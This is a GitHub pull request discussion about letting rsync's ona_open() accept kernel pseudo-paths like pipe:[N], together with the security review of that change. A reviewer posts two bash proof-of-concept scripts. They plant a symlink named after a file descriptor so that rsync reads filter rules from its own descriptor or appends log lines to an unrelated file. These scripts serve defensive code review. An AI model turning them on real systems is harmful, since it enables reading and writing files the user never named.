Skip to content

Fix ENOENT when resolving kernel pseudo-paths in ona_open - #1054

Open
seks99x wants to merge 4 commits into
RsyncProject:masterfrom
seks99x:seks99x-fd-link-fix
Open

Fix ENOENT when resolving kernel pseudo-paths in ona_open#1054
seks99x wants to merge 4 commits into
RsyncProject:masterfrom
seks99x:seks99x-fd-link-fix

Conversation

@seks99x

@seks99x seks99x commented Aug 14, 2026

Copy link
Copy Markdown
Member

Fixes #1053

What was added:

This PR patches ona_open() to properly handle Linux kernel pseudo-paths (pipes, sockets, etc.) generated by Bash process substitution without triggering an ENOENT error.
String-based detection: After readlinkat() successfully resolves a trusted symlink (like /dev/fd/63), the code now checks if the target is a kernel pseudo-path (pipe:[, socket:[, or anon_inode:[).
Enforcing Leaf Nodes: Added an if (!is_last) check to immediately return ENOTDIR if an operator attempts to traverse a pipe or socket like a directory.
Dropping O_NOFOLLOW: If the pseudo-path passes the above security checks, the function calls openat(dfd, comp, flags & ~O_NOFOLLOW, mode). By dropping the O_NOFOLLOW flag on the final component, we allow the kernel to hook the process into the memory object without treating it as a physical file on disk.

@seks99x seks99x added the run-ci label Aug 14, 2026
Comment thread syscall.c Outdated
@seks99x
seks99x force-pushed the seks99x-fd-link-fix branch 2 times, most recently from 12f8181 to f220a9e Compare August 14, 2026 09:10
@seks99x

seks99x commented Aug 14, 2026

Copy link
Copy Markdown
Member Author

Regarding the CI: I added pseudo-paths to macos.txt and cygwin.txt since they legitimately lack Linux's native /dev/fd/ process substitution. The Ubuntu runners run and pass the test perfectly.

However, the AlmaLinux runner is still failing the skip oracle (likely because the minimal almalinux:8 container is missing the bash package). I think it should be added through .github/workflows/almalinux-8-build.yml but I can't push any changes to it.

@steadytao steadytao removed the run-ci label Aug 15, 2026
@samueloph

Copy link
Copy Markdown
Member

@seks99x I've analyzed this through and agent and it's flagging a security regression, I don't want to post all the AI blob because I'm not familiar enough with the rsync inner-workings (and not enough time), but these POCs look sound.

I wanted to post this before I get the time to investigate it deeper because I want to avoid a possible security regression.

1. The fd number comes from the symlink's filename, and the only validation is st_ino equality against rsync's own fd table - nothing confirms the path is actually /proc/self/fd. The claim is that a symlink named 3 whose target text is pipe:[N], anywhere on the filesystem, resolves to rsync's own fd 3:

#!/bin/bash
# An ordinary symlink - nothing to do with /proc or /dev/fd - resolving to a
# descriptor rsync already holds open.   Usage: bash repro-a.sh /path/to/rsync
set -u
RSYNC="${1:?usage: repro-a.sh /path/to/rsync}"

lab=$(mktemp -d); trap 'rm -rf "$lab"' EXIT
mkdir -p "$lab/src" "$lab/plant" "$lab/dest"
echo hello > "$lab/src/keep.txt"
echo hello > "$lab/src/drop.txt"

# Give rsync an inherited fd 3 holding the text "drop.txt".  This stands in for
# any descriptor the rsync process happens to have open.
exec 3< <(printf 'drop.txt\n')

# The inode the kernel reports for that pipe - the number that appears inside
# the "pipe:[...]" string in /proc/self/fd, and the only thing compared.
ino=$(stat -L -c %i /proc/self/fd/3)

# Plant an ordinary symlink in an ordinary directory.  Two things matter:
#   * its NAME is "3"   -> atoi(comp), then fstat(3) on *rsync's own* fd table
#   * its TARGET is text, not a path -> matches the "pipe:[" prefix test
# The link is dangling.  It is owned by us, i.e. by the euid rsync runs as,
# which is precisely the case ona_open() follows by design.
ln -sfn "pipe:[$ino]" "$lab/plant/3"

echo "planted: $lab/plant/3 -> $(readlink "$lab/plant/3")"
"$RSYNC" -a --exclude-from="$lab/plant/3" "$lab/src/" "$lab/dest/"
echo "exit status: $?"
echo "transferred: $(ls "$lab/dest" | tr '\n' ' ')"
3.5.0:   failed to open exclude file .../plant/3: No such file or directory (2)
         exit status: 11, transferred: (nothing)        <-- dangling link, correct

patched: exit status: 0, transferred: keep.txt          <-- filter rules were read
                                                            from rsync's own fd 3

2. dup()/F_DUPFD_CLOEXEC returns the original description, so flags/mode are dropped - the caller gets the original access mode and a shared offset. Claude pointed at batch.c (O_WRONLY|O_CREAT|O_TRUNC), connection.c (O_RDWR|O_CREAT, daemon lock) and log.c (O_APPEND) as callers passing write flags. Its reproducer for the write side:

#!/bin/bash
# The same mechanism reaching a WRITE: --log-file lands in a file the supplied
# path never names.        Usage: bash repro-b.sh /path/to/rsync
set -u
RSYNC="${1:?usage: repro-b.sh /path/to/rsync}"

lab=$(mktemp -d); trap 'rm -rf "$lab"' EXIT
mkdir -p "$lab/src" "$lab/plant" "$lab/dest"
echo hello > "$lab/src/keep.txt"
printf 'ORIGINAL-LINE-1\nORIGINAL-LINE-2\n' > "$lab/victim"

# fd 3 = a writable descriptor on the victim.  Note this is a REGULAR FILE, not
# a pipe: S_ISFIFO/S_ISSOCK is never checked and st_dev is never compared, so
# only the inode number has to line up.
exec 3<> "$lab/victim"
ino=$(stat -L -c %i /proc/self/fd/3)
ln -sfn "pipe:[$ino]" "$lab/plant/3"

# --log-file asks open_no_attacker_symlinks() for O_WRONLY|O_APPEND|O_CREAT.
# dup() ignores flags and mode and returns the ORIGINAL description.
"$RSYNC" -a --log-file="$lab/plant/3" "$lab/src/" "$lab/dest/"
echo "--- $lab/victim after the run ---"; cat "$lab/victim"
3.5.0:   failed to open log-file ... No such file or directory
         victim: ORIGINAL-LINE-1 / ORIGINAL-LINE-2, untouched

patched: victim: ORIGINAL-LINE-1
                 ORIGINAL-LINE-2
                 2026/08/14 22:30:58 [425595] building file list
                 2026/08/14 22:30:58 [425595] >f+++++++++ keep.txt

It also thought the branch returns without the abspath_outside_confinement() / out_abs handling the rest of the walk does, and that the anon_inode:[ arm can't match (real targets are anon_inode:[eventpoll] - a name, not an inode number, so strtoull() yields 0).

@seks99x

seks99x commented Aug 15, 2026

Copy link
Copy Markdown
Member Author

@samueloph thank you so much for the review.
Actually both has nothing to do with the symlink issue, rsync follow trusted UIDs symlink by design (symlinks owned by the same process UID) I tried to change the ownership of the symlink it failed with ELOOP. The only possible ( if im not missing something) issue could happen here is attacker would control what fd to return, which on my mind i don’t find something critical regarding that. attackers most of the time have only control over actual file paths rather than fd.
If you have other thoughts also i would appreciate it.

@seks99x

seks99x commented Aug 15, 2026

Copy link
Copy Markdown
Member Author

The anon_inode issue is real yeah thank you for pointing this.
This would require different handling other than the rest, i assumed they all would produce a long number.
Will push fixes for this tomorrow.

@seks99x

seks99x commented Aug 15, 2026

Copy link
Copy Markdown
Member Author

Im thinking about handling the parent path that it is really coming from /dev/fd for example but im afraid to break a legit case which could come from another path that im not thinking of. From what im seeing UNIX like environments literally have many cases we can’t think of it easily.

@steadytao @samueloph do you think it would be better to handle parent paths to make sure its getting from /proc/self or /dev/fd?

From my own perspective for this to have a proper attack , the privileged process need to be opening a sensitive/privileged file and before calling close() the attacker can plant a symlink naming it as the fd number which would require also a guess. I feel its sophisticated/fanciful and wont work in real world but i want your opinions too.

@steadytao

Copy link
Copy Markdown
Member

I will come back to this one 🤔

@seks99x
seks99x force-pushed the seks99x-fd-link-fix branch from d76c80d to 5d86391 Compare August 17, 2026 10:47
@seks99x

seks99x commented Aug 17, 2026

Copy link
Copy Markdown
Member Author

@steadytao I've rebased this PR on the latest master. I also updated the logic to use the new fd_pin_tail(), ensuring we only make exceptions for pseudo-paths that strictly fall under /proc/self/fd or /dev/fd like what we did with the symlinks exceptions. I think this keeps our exceptions handling clean and consistent.

@seks99x
seks99x force-pushed the seks99x-fd-link-fix branch from 5d86391 to f036afc Compare August 17, 2026 18:07
When traversing /dev/fd/ or /proc/self/fd/, the Linux kernel returns pseudo-paths like 'pipe:[123]' or 'anon_inode:inotify'.

Since the parent directory is securely verified using fd_pin_tail(), this patch implicitly trusts the kernel's symlink target without requiring a strict inode match. The numeric FD is extracted from the path and safely duplicated using fcntl(F_DUPFD_CLOEXEC).

Additionally, the abspath array is zero-initialized to silence Clang static analyzer warnings.

This ensures bash process substitution <(cmd) and custom IPC sockets work correctly.
@seks99x
seks99x force-pushed the seks99x-fd-link-fix branch from f036afc to 1bb3c5b Compare August 17, 2026 19:09
Comment thread syscall.c Outdated
Comment thread syscall.c Outdated
@steadytao

Copy link
Copy Markdown
Member

Looking pretty good thus far!

@seks99x
seks99x force-pushed the seks99x-fd-link-fix branch 6 times, most recently from 4bb6dc4 to 237175c Compare August 18, 2026 19:01
@seks99x

seks99x commented Aug 18, 2026

Copy link
Copy Markdown
Member Author

@steadytao Thanks for your review! My bad I didn't thought of the flags or noticed the /proc/pid case. I modified fd_pin_tail() to handle the strict process verification to avoid a lot of redundancy here. I also manually enforced the access modes and added two new python tests to make sure we are going right. Could you recheck please?

@seks99x
seks99x force-pushed the seks99x-fd-link-fix branch from 237175c to 903f719 Compare August 18, 2026 21:18
…wn PID

This commit addresses two critical edge cases in pseudo-path handling
within ona_open() to ensure strict security boundaries:

1. Cross-PID Duplication Prevention:
   To prevent the unintended duplication of internal file descriptors
   via cross-PID paths (e.g., /proc/<victim_pid>/fd/<internal_fd>),
   fd_pin_tail() has been updated with a strict mode. This ensures that
   the dup() shortcut is exclusively limited to the current process via
   /proc/self/fd or /dev/fd.

2. API Contract Enforcement on dup():
   Because dup() inherits the file descriptor's original access mode and
   status flags, it can bypass caller requirements. ona_open()
   now manually queries the inherited FD state via fcntl(..., F_GETFL).
   It explicitly rejects incompatible requests by enforcing O_ACCMODE
   (returning EACCES), O_DIRECTORY (returning ENOTDIR), and O_APPEND
   (returning EINVAL).

Includes two new Python regression tests to explicitly verify cross-PID
rejection and open() flag API contracts on pseudo-paths.
@seks99x
seks99x force-pushed the seks99x-fd-link-fix branch from 903f719 to 916db38 Compare August 18, 2026 21:23
Comment thread syscall.c
Comment on lines +498 to +501
if ((flags & O_APPEND) && !(real_flags & O_APPEND)) {
saved_errno = EINVAL;
goto out;
}

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This still does not preserve the callers open() contract. A duplicated descriptor retains unrequested flags such as O_APPEND or O_NONBLOCK cannot acquire requested flags absent from the original and shares the original open-file-description offset.

Comment thread syscall.c
Comment on lines +448 to +451
if (is_fd_dir && strchr(target, '/') == NULL &&
(strncmp(target, "pipe:[", 6) == 0 ||
strncmp(target, "socket:[", 8) == 0 ||
strncmp(target, "anon_inode:", 11) == 0)) {

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why are sockets and anonymous inodes included?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[3.5.0 regression] Rsync fails to open filter list supplied from shell process substitution

3 participants